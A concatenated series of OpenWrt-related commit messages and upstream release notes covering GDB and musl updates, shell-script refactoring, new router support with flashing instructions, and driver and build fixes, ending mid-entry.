* DWARF index cache: GDB can now automatically save indices of DWARF
symbols on disk to speed up further loading of the same binaries.
* Various GDB/MI enhancements.
* GDBserver on PowerPC GNU/Linux now supports access to the PPR,
DSCR, TAR, EBB/PMU, and HTM registers.
* Ada task switching support when debugging programs built with
the Ravenscar profile added to aarch64-elf.
* GDB in batch mode now exits with status 1 if the last executed
command failed.
* Support for building GDB with GCC's Undefined Behavior Sanitizer.
Signed-off-by: Koen Vandeputte <koen.vandeputte@ncentric.com>
GDB 8.3.1 brings the following fixes and enhancements over GDB 8.3:
PR c++/20020 (GDB segfault on printing objects)
PR gdb/24454 (nat/x86-linux-dregs.c failed assertion)
PR breakpoints/24541 (Incorrect evaluation of systemtap probes due to register being signed and probe expression assuming unsigned)
PR symtab/24545 (Symbol loading performance regression with cc1)
PR gdb/24592 (amd64->i386 linux syscall restart problem)
PR gdb/25009 (terminate called after throwing an instance of 'srchilite::ParserException')
PR gdb/25010 (Calls to error () can cause SIGTTOU to send gdb to the background)
PR breakpoints/25011 (Breakpoints on file reloads broken for PIE binaries)
This corrective release also brings the following testsuite fixes and
enhancements:
PR testsuite/25005 (gdb-caching-proc.exp takes a lot of time on skip_opencl_tests)
PR testsuite/25016 (Test-case failures for -pie)
GDB 8.3 includes the following changes and enhancements:
* Support for new native configurations (also available as a target configuration):
- RISC-V GNU/Linux (riscv*-*-linux*)
- RISC-V FreeBSD (riscv*-*-freebsd*)
* Support for new target configurations:
- CSKY ELF (csky*-*-elf)
- CSKY GNU/Linux (csky*-*-linux)
- NXP S12Z ELF (s12z-*-elf)
- OpenRISC GNU/Linux (or1k*-*-linux*)
* Native Windows debugging is only supported on Windows XP or later.
* The Python API in GDB now requires Python 2.6 or later.
* GDB now supports terminal styling for the CLI and TUI.
Source highlighting is also supported by building GDB with GNU
Highlight.
* Experimental support for compilation and injection of C++ source
code into the inferior (requires GCC 7.1 or higher, built with
libcp1.so).
* GDB and GDBserver now support IPv6 connections.
* Target description support on RISC-V targets.
* Various enhancements to several commands:
- "frame", "select-frame" and "info frame" commands
- "info functions", "info types", "info variables"
- "info thread"
- "info proc"
- System call alias catchpoint support on FreeBSD
- "target remote" support for Unix Domain sockets.
* Support for displaying all files opened by a process
* DWARF index cache: GDB can now automatically save indices of DWARF
symbols on disk to speed up further loading of the same binaries.
* Various GDB/MI enhancements.
* GDBserver on PowerPC GNU/Linux now supports access to the PPR,
DSCR, TAR, EBB/PMU, and HTM registers.
* Ada task switching support when debugging programs built with
the Ravenscar profile added to aarch64-elf.
* GDB in batch mode now exits with status 1 if the last executed
command failed.
* Support for building GDB with GCC's Undefined Behavior Sanitizer.
Signed-off-by: Koen Vandeputte <koen.vandeputte@ncentric.com>
1.1.24 release notes
new features:
- GLOB_TILDE extension to glob
- non-stub catgets localization API, using netbsd binary catalog format
- posix_spawn file actions for [f]chdir (extension, pending future standard)
- secure_getenv function (extension)
- copy_file_range syscall wrapper (Linux extension)
- header-level support for new linux features in 5.2
performance:
- new fast path for lrint (generic C version) on 32-bit archs
major internal changes:
- functions involving time are overhauled to be time64-ready in 32-bit archs
- x32 uses the new time64 code paths to replace nasty hacks in syscall glue
compatibility & conformance:
- support for powerpc[64] unaligned relocation types
- powerpc[64] and sh sys/user.h no longer clash with kernel asm/ptrace.h
- select no longer modifies timeout on failure (or at all)
- mips64 stat results are no longer limited to 32-bit time range
- optreset (BSD extension) now has a public declaration
- support for clang inconsistencies in wchar_t type vs some 32-bit archs
- mips r6 syscall asm no longer has invalid lo/hi register clobbers
- vestigial asm declarations of __tls_get_new are removed (broke some tooling)
- riscv64 mcontext_t mismatch glibc's member naming is corrected
bugs fixed:
- glob failed to match broken symlinks consistently
- invalid use of interposed calloc to allocate initial TLS
- various dlsym symbol resolution logic errors
- semctl with SEM_STAT_ANY didn't work
- pthread_create with explicit scheduling was subject to priority inversion
- pthread_create failure path had data race for thread count
- timer_create with SIGEV_THREAD notification had data race getting timer id
- wide printf family failed to support l modifier for float formats
arch-specific bugs fixed:
- x87 floating point stack imbalance in math asm (i386-only CVE-2019-14697)
- x32 clock_adjtime, getrusage, wait3, wait4 produced junk (struct mismatches)
- lseek broken on x32 and mipsn32 with large file offsets
- riscv64 atomics weren't compiler barriers
- riscv64 atomics had broken asm constraints (missing earlyclobber flag)
- arm clone() was broken when compiled as thumb if start function returned
- mipsr6 setjmp/longjmp did not preserve fpu register state correctly
Refreshed all patches.
Removed upstreamed.
Signed-off-by: Koen Vandeputte <koen.vandeputte@ncentric.com>
This unifies MAC address patch functions and moves them to a
common script. While those were implemented differently for
different targets, they all seem to do the same. The number of
different variants is significantly reduced by this patch.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This moves the almost identical calibration data extraction
functions present multiple times in several targets to a single
library file /lib/functions/caldata.sh.
Functions are renamed with more generic names to merge different
variants that only differ in their names.
Most of the targets used find_mtd_chardev, while some used
find_mtd_part inside the extraction code. To merge them, the more
abundant version with find_mtd_chardev is used in the common code.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
[rebase on latest master; add mpc85xx]
Signed-off-by: David Bauer <mail@david-bauer.net>
The xor() function is defined in each of the caldata extraction
scripts for several targets. Move it to functions.sh to reduce
duplicate code.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This patch adds support for the COMFAST CF-E313AC, an outdoor wireless
CPE with two Ethernet ports and a 802.11ac radio.
Specifications:
- QCA9531 SoC
- 650/400/216 MHz (CPU/DDR/AHB)
- 1x 10/100 Mbps WAN Ethernet, 48V PoE-in
- 1x 10/100 Mbps LAN Ethernet, pass-through 48V PoE-out
- 1x manual pass-through PoE switch
- 64 MB RAM (DDR2)
- 16 MB FLASH
- QCA9886 2T2R 5 GHz 802.11ac, 23 dBm
- 12 dBi built-in antenna
- POWER/LAN/WAN/WLAN green LEDs
- 4x RSSI LEDs (2x red, 2x green)
- UART (115200 8N1)
Flashing instructions:
The original firmware is based on OpenWrt so a sysupgrade image can be
installed via the stock web GUI. Settings from the original firmware
will be saved and restored on the new one, so a factory reset will be
needed. To do so, once the new firmware is flashed, enter into failsafe
mode by pressing the reset button several times during the boot
process, while the WAN LED flashes, until it starts flashing faster.
Once in failsafe mode, perform a factory reset as usual.
Alternatively, the U-boot bootloader contains a recovery HTTP server
to upload the firmware. Push the reset button while powering the
device on and keep it pressed for >10 seconds. The device's LEDs will
blink several times and the recovery page will be at
http://192.168.1.1; use it to upload the sysupgrade image.
Note:
Four MAC addresses are stored in the "art" partition (read-only):
- 0x0000: 40:A5:EF:AA:AA:A0
- 0x0006: 40:A5:EF:AA:AA:A2
- 0x1002: 40:A5:EF:AA:AA:A1
- 0x5006: 40:A5:EF:AA.AA:A3 (inside the 5 GHz calibration data)
The stock firmware assigns MAC addresses to physical and virtual
interfaces in a very particular way:
- eth0 corresponds to the physical Ethernet port labeled as WAN
- eth1 corresponds to the physical Ethernet port labeled as LAN
- eth0 belongs to the bridge interface br-wan
- eth1 belongs to the bridge interface br-lan
- eth0 is assigned the MAC from 0x0 (*:A0)
- eth1 is assigned the MAC from 0x1002 (*:A1)
- br-wan is forced to use the MAC from 0x1002 (*:A1)
- br-lan is forced to use the MAC from 0x0 (*:A0)
- radio0 uses the calibration data from 0x5000 (which contains
a valid MAC address, *:A3). However, it is overwritten by the
one at 0x6 (*:A2)
This commit preserves the LAN/WAN roles of the physical Ethernet
ports (as labeled on the router) and the MAC addresses they expose
by default (i.e., *:A0 on LAN, *:A1 on WAN), but swaps the position
of the eth0/eth1 compared to the stock firmware:
- eth0 corresponds to the physical Ethernet port labeled as LAN
- eth1 corresponds to the physical Ethernet port labeled as WAN
- eth0 belongs to the bridge interface br-lan
- eth1 is the interface at @wan
- eth0 is assigned the MAC from 0x0 (*:A0)
- eth1 is assigned the MAC from 0x1002 (*:A1)
- br-lan inherits the MAC from eth0 (*:A0)
- @wan inherits the MAC from eth1 (*:A1)
- radio0's MAC is overwritten to the one at 0x6
This way, eth0/eth1's positions differ from the stock firmware, but
the weird MAC ressignations in br-lan/br-wan are avoided while the
external behaviour of the router is maintained. Additionally, WAN
port is connected to the PHY gmac, allowing to monitor the link
status (e.g., to restart DHCP negotiation when plugging a cable).
Signed-off-by: Roger Pueyo Centelles <roger.pueyo@guifi.net>
The Phicomm KE 2P is identical to the already supported Phicomm K2P,
renamed for the European market. Use the ALT0 buildroot tags to show
both devices.
Signed-off-by: Roger Pueyo Centelles <roger.pueyo@guifi.net>
This driver supports the Bosch Sensortec BME680 gas, humidity, pressure
and temperature sensor.
Tested I2C and SPI modes on a Raspberry Pi Zero W.
Signed-off-by: Stijn Tintel <stijn@linux-ipv6.be>
Upon writing to "remove" file, debugfs_remove_recursive() blocks while
holding rtnl_lock. This is because debugfs' file_ops callbacks are
executed in debugfs_use_file_*() context which prevents file removal.
Fix this by only flagging the device for removal and then do the cleanup
in file_ops.release callback which is executed out of that context.
Signed-off-by: Ali MJ Al-Nasrawy <alimjalnasrawy@gmail.com>
Since v3.11, netdevice notification data are of type
"struct netdev_notifier_info". Handle it as such!
This should fix a critical bug in which devices are unable get released
because trelay does not release resources in response to UNREGISTER
event spamming the log with something like:
unregister_netdevice: waiting for eth0.1 to become free. Usage count = 1
Signed-off-by: Ali MJ Al-Nasrawy <alimjalnasrawy@gmail.com>
"coreutil-date" package from the packages feed replaces the Busybox date
applet by symlinking /usr/bin/gnu-date to /bin/date. This prevents the system
init script from setting kernel timezone because the GNU date utility does not
provide such functionality:
root@OpenWrt:~# date -k
date: invalid option -- 'k'
Try 'date --help' for more information.
A specific reference to the Busybox date applet prevents alternative date
utilities from breaking the system init script.
Signed-off-by: Val Kulkov <val.kulkov@gmail.com>
The first allows usage of several functions in the std namespace, which
broke compilation of gddrescue specifically with uClibc-ng and uClibc++.
The second allows usage of long long with normal C++11, which is part of
the standard. Before, std=gnu++11 needed to be passsed to work around it.
As a result of the second patch, the pedantic patch can safely be removed.
Both patches are upstream backports.
Added -std=c++11 to CFLAGS to guarentee proper inclusion of long long.
Added another patch that fixes a typo with the long long support. Sent to
upstream.
Fixed up license information according to SPDX.
Small cleanups for consistency.
Signed-off-by: Rosen Penev <rosenp@gmail.com>
These patches backport support for the ARMADA 3700 COMPHY driver.
Also backported is the mvneta driver. This will allow switching
the SGMII speed using SMC calls. To support this you must update
the firmware using Marvells 18.12 version (this has now been
upstreamed). The mvneta driver allows 2500basex and 2500baset.
Signed-off-by: Scott Roberts <ttocsr@gmail.com>
The default sizes render Device/linksys_audi mage un-flashable.
Restore the pagesize, subpagesize, and blocksize for linksys_audi
from https://github.com/openwrt/archive.
Signed-off-by: Eubert Bao <bunnier@gmail.com>
This refreshes the kernel 4.19 configuration, it looks like this was not
done initially.
When did a compile with the default settings I had to select some
kernel configuration options.
Fixes: 98684d99b2 ("mvebu: add kernel 4.19 support")
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
The kernel 4.19 configuration contains the GCC version used, set it to
8.3.0 as this is now our default compiler.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
Add missing dependencies to i2c-core and regmap-spi. These get activated
when these modules are build in this driver, which is the case when we
build all modules. This fixes the build on some targets. This was found
by the buildbot.
Fixes: 34e2526f9f ("kernel: add kmod-rtc-pcf2127")
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
Current hash doesn't match with the content of the source tarball.
Fixes: a92f74ba8d ("libnl-tiny: move source code into separate Git repository")
Reported-by: Rosen Penev <rosenp@gmail.com>
Signed-off-by: Petr Štetiar <ynezz@true.cz>
71c2ef0420b5 mt76: fix aggregation stop issue
5b02a078d4a7 mt76: add missing locking around ampdu action
7d8764d320cf mt76: avoid enabling interrupt if NAPI poll is still pending
d94cc81d3980 mt76: drop rcu read lock in mt76_rx_aggr_stop
c11a4ad06d9d mt76: mt76x0: eeprom: add support for MAC address from OF
01642d8bed33 mt76: mt76x02: fix use-after-free in tx status code handling airtime
391e1488f885 mt76: add sanity check for a-mpdu rx wcid index
d3a589586d1b mt76: fix a-mpdu boundary detection issue for airtime reporting
Signed-off-by: Felix Fietkau <nbd@nbd.name>
0d004db Revert "pppd: Include time.h before using time_t"
e400854 pppdump: Eliminate printf format warning by using %zd
7f2f0de pppd: Refactor setjmp/longjmp with pipe pair in event wait loop
4e71317 make: Avoid using host include for cross-compiling
3202f89 pppoe: Remove the use of cdefs
d8e8d7a pppd: Remove unused rcsid variables
486f854 pppd: Fix GLIBC version test for non-glibc toolchains
b6cd558 pppd: Include time.h before using time_t
ef8ec11 radius: Fix compiler warning
f6330ec magic: Remove K&R style of arguments
347904e Add Submitting-patches.md
Remove patches 130-no_cdefs_h.patch, 131-missing_prototype_macro.patch,
132-fix_linux_includes.patch as fixed upstream
Refresh patches
Signed-off-by: Hans Dedecker <dedeckeh@gmail.com>
In non-ETSI regulatory domains scan is blocked when operating channel
is a DFS channel. For ETSI, however, once DFS channel is marked as
available after the CAC, this channel will remain available (for some
time) even after leaving this channel.
Therefore a scan can be done without any impact on the availability
of the DFS channel as no new CAC is required after the scan.
Enable scan in mac80211 in these cases.
Signed-off-by: Aaron Komisar <aaron.komisar@tandemg.com>
Link: https://lore.kernel.org/r/1570024728-17284-1-git-send-email-aaron.komisar@tandemg.com
Signed-off-by: Johannes Berg <johannes.berg@intel.com>
Signed-off-by: Stefan Lippers-Hollmann <s.l-h@gmx.de>
The factory uboot of the Turris Omnia boots with "root=b301", and we
instruct new users to sysupgrade from there (e.g. method 1, step 7).
Currently, this will fail with "Unable to determine upgrade device".
Add a new case to export_bootdevice, which parses the hex argument.
Fixes commit 2e5a0b81 ("mvebu: sysupgrade: sdcard: keep user added ...")
Signed-off-by: Klaus Kudielka <klaus.kudielka@gmail.com>
This fixes off-by-one error introduced in commit dc76900021
("kernel: Correctly search for the FIT image in mtd partition.")
Function `mtd_read` starts reading at `offset` and
needs `hdr_len` number of bytes to be available. Suppose
the easiest case when `offset` is `0` and `hdr_len` equals
to `mtd->size` - the `for` loop will not be entered even
when enough bytes are available to be read.
Same happens for any non-zero `offset`, when `hdr_len` is
just enough bytes to be read until `mtd->size` is reached.
Imagine that for example `mtd->size=5`, `offset=4` and
`hdr_len=1`. Then `offset+hdr_len=5` and the check has to
be `offset+hdr_len <= mtd->size`, i.e. `5 <= 5`. The
check for `offset + hdr_len` value needs to be inclusive,
therefore use `<=`.
Fixes: dc76900021 ("kernel: Correctly search for the FIT image in mtd partition.")
Signed-off-by: Oldřich Jedlička <oldium.pro@gmail.com>
[adjusted commit ref, fixes tag]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Some kmods (gpio-hotplug, wireguard) store the build path in the
compiled files and therefore make it harder to rebuild the official
binaries. As the same "iremap" function is used as for other binaries,
the change is compatible with gcc7 and 8.
Tested with both gcc7 and gcc8 resulting in build path independent
reproducible builds.
Signed-off-by: Paul Spooren <mail@aparcar.org>
Main motivation for this commit is the introduction of
`-ffile-prefix-map=` which alows reproducible build path.
Compile tested on Linux and macOS without errors on the following
targets:
* ath79
* imx6
* brcm2708
* brcm63xx
* ixp4xx
* ramips
* sunxi
* x86
Thanks to Andre for the iremap fixup.
Ref: https://reproducible-builds.org/docs/build-path/
Tested-by: Andre Heider <a.heider@gmail.com>
Tested-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
Signed-off-by: Paul Spooren <mail@aparcar.org>
[refactored into separate commit]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Lets remove unused GCC_VERSION_4_8 symbol after the series of patches
which has switched to target gcc-8 by default.
Signed-off-by: Paul Spooren <mail@aparcar.org>
[refactored into separate commit]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
-ffile-prefix-map=OLD=NEW is an alias for both -fdebug-prefix-map and
-fmacro-prefix-map and is available since GCC 8.
Co-Developed-by: Andre Heider <a.heider@gmail.com>
Signed-off-by: Andre Heider <a.heider@gmail.com>
Signed-off-by: Paul Spooren <mail@aparcar.org>
[refactored into separate commit]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
This speeds up the packing of the imagebuilder a lot:
imagebuilder-T0.tar.xz real 0m25.199s user 2m45.967s sys 0m1.218s
imagebuilder-T1.tar.xz real 2m02.543s user 2m02.418s sys 0m1.653s
imagebuilder-T2.tar.xz real 1m03.684s user 1m59.931s sys 0m0.587s
imagebuilder-T3.tar.xz real 0m48.033s user 2m02.904s sys 0m0.637s
imagebuilder-T4.tar.xz real 0m38.963s user 2m15.521s sys 0m0.783s
imagebuilder-T5.tar.xz real 0m37.994s user 2m21.461s sys 0m0.919s
imagebuilder-T6.tar.xz real 0m39.524s user 2m48.115s sys 0m1.279s
imagebuilder-T7.tar.xz real 0m34.061s user 2m45.097s sys 0m1.174s
imagebuilder-T8.tar.xz real 0m27.286s user 2m55.449s sys 0m1.329s
imagebuilder-T9.tar.xz real 0m25.205s user 2m44.894s sys 0m1.208s
To keep the output reproducible in any case, we enforce a minimum amount
of 2 threads.
Signed-off-by: Martin Schiller <ms@dev.tdt.de>
[refactored into reusable NPROC var, more verbose commit message]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
In order to make the source code usable and testable separately out of
buildroot.
Acked-by: Hauke Mehrtens <hauke@hauke-m.de>
Acked-by: Jo-Philipp Wich <jo@mein.io>
Acked-by: Hans Dedecker <dedeckeh@gmail.com>
Signed-off-by: Petr Štetiar <ynezz@true.cz>
This addresses several issues in the DTS file:
- add diag LED support
- remove unused node names
- fix whitespace issues
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Previously only the power LED was working.
With this patch all leds except 5GHz are working.
Signed-off-by: Davide Fioravanti <pantanastyle@gmail.com>
[rephrased commit title, drop status property]
Signed-off-by: David Bauer <mail@david-bauer.net>
This is the result of grepping/searching for several common
whitespace issues like double empty lines, leading spaces, etc.
This patch fixes them for the ath79 target.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This removes _all_ occurrences of kmod-usb-core from
DEVICE_PACKAGES and similar variables.
This package is pulled as dependency by one of the following
packages in any case:
- kmod-usb-chipidea
- kmod-usb-dwc2
- kmod-usb-ledtrig-usbport
- kmod-usb-ohci
- kmod-usb2
- kmod-usb2-pci
- kmod-usb3
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
[remove kmod-usb-core from EnGenius ESR600]
Signed-off-by: David Bauer <mail@david-bauer.net>
This backport fixes high latency (>100ms) on the WiFi link when using a
QCA988x Wave 1 radio. The ath10k-ct driver is not affected by this bug
from my testing, hence why it hasn't been discovered earlier.
Signed-off-by: David Bauer <mail@david-bauer.net>
Wifi HE (ieee80211ax) parsing is currently only activated in the full
version because it increases the compressed size by 2.5KBytes.
This also activates link time optimization (LTO) again, the problem was
fixed upstream
This increases the uncompressed binary size of iw-tiny by about 1.7%
old:
34446 iw_5.0.1-1_mipsel_24kc.ipk
new:
35064 iw_5.3-1_mipsel_24kc.ipk
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
This is a follow up of 8cb13f4e6d which sets the right timestamp for the
/init file in initramfs. The previous patch doesn't cover it as the
files appear to come from a later step during compilation.
CC: Alexander Couzens <lynxis@fe80.eu>
Signed-off-by: Paul Spooren <mail@aparcar.org>
The check for libelf in the kernel build is not enough, because the code that
uses libelf for stack validation is completely non-portable, as it tries to
include asm/types.h and relies on kernel types in user space.
Until this is fixed properly, the only solution is to disable this on any non
Linux build host
Signed-off-by: Felix Fietkau <nbd@nbd.name>
https://patchwork.kernel.org/patch/11161981/
--
From: Stanislaw Gruszka <sgruszka@redhat.com>
Subject: [PATCH] rt2x00: initialize last_reset
Initialize last_reset variable to INITIAL_JIFFIES, otherwise it is not
possible to test H/W reset for first 5 minutes of system run.
Fixes: e403fa31ed71 ("rt2x00: add restart hw")
Reported-and-tested-by: Jonathan Liu <net147@gmail.com>
Signed-off-by: Stanislaw Gruszka <sgruszka@redhat.com>
--
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
The JSON info files contain details about the created firmware images
per device and are stored next to the created images.
The JSON files are stored as "$(IMAGE_PREFIX).json" and contain some
device/image meta data as well as a list of created firmware images.
An example of openwrt-ramips-rt305x-aztech_hw550-3g.json
{
"id": "aztech_hw550-3g",
"image_prefix": "openwrt-ramips-rt305x-aztech_hw550-3g",
"images": [
{
"name": "openwrt-ramips-rt305x-aztech_hw550-3g-squashfs-sysupgrade.bin",
"sha256": "db2b34b0ec4a83d9bf612cf66fab0dc3722b191cb9bedf111e5627a4298baf20",
"type": "sysupgrade"
}
],
"metadata_version": 1,
"supported_devices": [
"aztech,hw550-3g",
"hw550-3g"
],
"target": "ramips/rt305x",
"titles": [
{
"model": "HW550-3G",
"vendor": "Aztech"
},
{
"model": "ALL0239-3G",
"vendor": "Allnet"
}
],
"version_commit": "r10920+123-0cc87b3bac",
"version_number": "SNAPSHOT"
}
Signed-off-by: Paul Spooren <mail@aparcar.org>
The relationship between GMAC0 and GMAC1 and the kernel devices
eth0 and eth1 was reversed for many ath79 devices by commit 8dde11d521
ath79: dts: drop "simple-mfd" for gmacs in SoC dtsi
The GL-AR300M-Lite is a single-port device, with the "LAN" port of the
GL-AR300M board unpopulated and its sole port now referenced as eth1,
as a result of commit 8dde11d521. The device was unreachable on
first boot or fresh config.
By changing ð1 (GMAC1) to an MFD, GMAC0 is able to associate with
the phy and is known by the kernel as "eth0".
Thanks to Chuanhong Guo for the suggestion of "simple-mfd"
Signed-off-by: Jeff Kletsky <git-commits@allycomm.com>
Previously, the board name for the GL-AR300M-Lite was incorrect
in 02_network, resulting in an unintended, fall-through condition
when initializing the network configuration.
While builds prior to commit 8dde11d521 (merged June 5, 2019)
ath79: dts: drop "simple-mfd" for gmacs in SoC dtsi
functioned properly, the error was noted in resolving first-boot
connectivity issues related to the single-phy nature of the device
and the "swap" of eth0 and eth1 related to that commit.
Signed-off-by: Jeff Kletsky <git-commits@allycomm.com>
If chksum_offset is converted by $(($...)) at the beginning, the
check [ -n "$chksum_offset" ] will always return true, as the
conversion yields "0" for an empty argument, and [ -n "0" ] is
true.
With this patch, the variable is not converted before the check,
but only when it's used in dd.
No conversion is done for use in hexdump, as this can deal with
hex value offsets.
Fixes: b133e466b0 ("treewide: convert WiFi caldata size and offset to hexadecimal")
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This replaces deprecated backticks by more versatile $(...) syntax.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
[decapitalized patch subject at submitter's request]
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
This replaces deprecated backticks by more versatile $(...) syntax.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
[decapitalized patch subject at submitter's request]
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
This replaces deprecated backticks by more versatile $(...) syntax.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
[decapitalized patch subject at submitter's request]
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
This replaces deprecated backticks by more versatile $(...) syntax.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
[decapitalized patch subject at submitter's request]
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
This replaces deprecated backticks by more versatile $(...) syntax.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
[decapitalized patch subject at submitter's request]
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
The following symbols, selected by the qce driver were removed:
CONFIG_CRYPTO_CBC
CONFIG_CRYPTO_CTR
CONFIG_CRYPTO_DES
CONFIG_CRYPTO_DEV_QCE
CONFIG_CRYPTO_ECB
CONFIG_CRYPTO_NULL
CONFIG_CRYPTO_SEQIV
CONFIG_CRYPTO_XTS
CONFIG_CRYPTO_GF128MUL was removed as well, since it is only needed by
some cipher modes (LRW, GCM), none of which are selected, and it is
packaged as a module.
Signed-off-by: Eneas U de Queiroz <cotequeiroz@gmail.com>
This patch removes a typo (extra "0") so that the 'cpu-alert6'
step is triggered once the system reaches 85°C.
Note: Unless the WNDR4700 is placed in an hot oven, the
hardware-monitor will never reach this value.
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
Add option BUILD_LOG_DIR to menuconfig to change log destination.
The mix-up of *DIR* and *FOLDER* is confusing however.
Signed-off-by: Paul Spooren <mail@aparcar.org>
All Zbtlink ramips devices except the ZBT-WE1026-5G include the
zbt-/ZBT- prefix in their model name.
This changes ZBT-WE1026-5G to also follow that scheme.
The patch moves some block to keep alphatical order.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Spelling of Zbtlink varies across image definitions and DTS files.
This patch uses Zbtlink consistently and also updates the model
in DTS files to contain the vendor in all cases.
This patch is cosmetical, as there should be no dependencies on
device model name in ramips anymore.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Changes since 0.0.20190702:
define conversion constants for ancient kernels
android: refactor and add incoming allow rules
enforce that unused bits of flags are zero
immediately rekey all peers after changing device private key
support running in OpenVZ environments
do not run bc on clean target
skip peers with invalid keys
account for upstream configuration maze changes
openbsd: fix alternate routing table syntax
account for android-4.9 backport of addr_gen_mode
don't fail down when using systemd-resolved
allow specifying kernel release
enforce named pipe ownership and use protected prefix
work around ubuntu breakage
support newer PaX
don't rewrite siphash when it's from compat
squelch warnings for stack limit on broken kernel configs
support rhel/centos 7.7
Signed-off-by: Brandy Krueger <krueger.brandy24@gmail.com>
$(board_name) was providing content on "boardtype" (and optionally
"boardnum") NVRAM values. That function requires & expects more specific
and detailed model name extracted from the /proc/cpuinfo.
Fixes: f12a32630f ("treewide: use the generic board_name function")
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
If already included in ucidef_add_switch, you do not have to
additionally set the interface mode in ucidef_set_interfaces_*
functions.
This patch removes/adjusts such redundant cases.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This merges three cases with a single switch port.
6t@eth0 and 6@eth0 should be equivalent.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
572ff7f fritzcreator: actually add checksum spacer
6edce1a fritzcreator: replace obscure padding generation with something more portable
2ff189f add ASUS RT-AC58U "easy install" factory u-boot shim
b91f9c2 readd spi-nand support
486ae53 improve cmd_sysupgrade
b0933f1 replace sstrip with strip
882e48a do not include generated files into git
0c5aa5f fix bugs in ipq40xx_cdp.c
Signed-off-by: David Bauer <mail@david-bauer.net>
The ar40xx driver currently panics in case no QCA807x PHY has been
successfully probed. This happens when the external PHY is still
in reset when probing the ar40xx switch driver.
Note that this patch does not fix the root cause, ar40xx_probe now
simply fails instead of causing a kernel panic due to a nullpointer
dereference.
Signed-off-by: David Bauer <mail@david-bauer.net>
Replace an old cleanup patch that never made it upstream with the proper
upstream fix. This patch was incompatible with the recent changes that
affected the way that the flow tuple dst entry was used.
Signed-off-by: Felix Fietkau <nbd@nbd.name>
`make xconfig` fails with following linking error of qconf binary:
g++ -lQt5Widgets -lQt5Gui -lQt5Core -o qconf qconf.o zconf.tab.o
/usr/bin/ld: qconf.o: in function ConfigList::metaObject() const': qconf.cc:(.text+0x3eb): undefined reference to QObjectData::dynamicMetaObject() const'
/usr/bin/ld: qconf.o: in function `ConfigList::qt_metacast(char const*)': link error.
which is caused by the wrong order of the linked objects/libraries so
this patch reorders the linker's arguments which makes the qconf compile
again.
Signed-off-by: leo chung <gewalalb@gmail.com>
[commit subject and message tweaks, whitespace fix]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
On a recent Gentoo Linux installation, invoking `make menuconfig`, `make
kernel_menuconfig` or `make kernel_nconfig` in the build system fails,
whereas for example `make menuconfig` in the kernel tree alone works as
expected.
This is happening because STAGING_PREFIX is not defined when kernel's
{menu,n}config target calls pkg-config from the toolchain/host and thus
pkg-config returns an empty value, and the fallback values in the kernel
config script are applied but those are off and the linking fails.
Solution is to use system's pkg-config for all ncurses based menu config
targets in order to provide proper compiler/linker flags.
Ref: FS#2423
Cc: Thomas Albers <thomas.gameiro@gmail.com>
Tested-by: Stijn Tintel <stijn@linux-ipv6.be>
Tested-by: Eneas U de Queiroz <cotequeiroz@gmail.com>
Signed-off-by: Petr Štetiar <ynezz@true.cz>
One of the v4.19 patches had a bug, this is fixed upstream,
but in OpenWrt we can fix it by just fixing the bug in the
patch.
We also need to augment the config file to select the
CONFIG_DRM_FBDEV_EMULATION symbol.
This restores the display controller on the DIR-685 to
working state: penguin and graphics on the little screen
with default OpenWrt install.
Signed-off-by: Linus Walleij <linus.walleij@linaro.org>
This patch changes wan MAC address setup for youhua,wr1200js
from retrieving it by calculation to reading it from flash.
This has been checked on-device.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
I-O DATA WNPR2600G has an "elx-header", so move this definition to
generic makefile to use it from mt7621 subtarget.
This definition is also added to mt7621.mk in
f285e8634c, so remove it from mt7621.mk.
And added a line to cleanup used header file.
Signed-off-by: INAGAKI Hiroshi <musashino.open@gmail.com>
following I-O DATA devices have a MAC address as "wanaddr" for WAN
interface in u-boot-env:
- WN-AC1167GR
- WN-AC733GR3
I replaced MAC address configuration in these devices to omit
address calculation in 02_network.
Signed-off-by: INAGAKI Hiroshi <musashino.open@gmail.com>
ipTIME A3 is a 2.4/5GHz band AC1200 router, based on MediaTek
MT7628AN.
Specifications:
- SoC: MT7628AN
- RAM: DDR2 64MB
- Flash: SPI NOR 8MB
- WiFi:
- 2.4GHz: SoC internal
- 5GHz: MT7612EN
- Ethernet: 3x 10/100Mbps
- Switch: SoC internal
- UART:
- J1: 3.3V, TX, RX, GND (3.3V is the square pad) / 57600 8N1
Installation via web interface:
1. Flash **initramfs** image through the stock web interface.
2. Boot into OpenWrt and perform sysupgrade with sysupgrade image.
Revert to stock firmware:
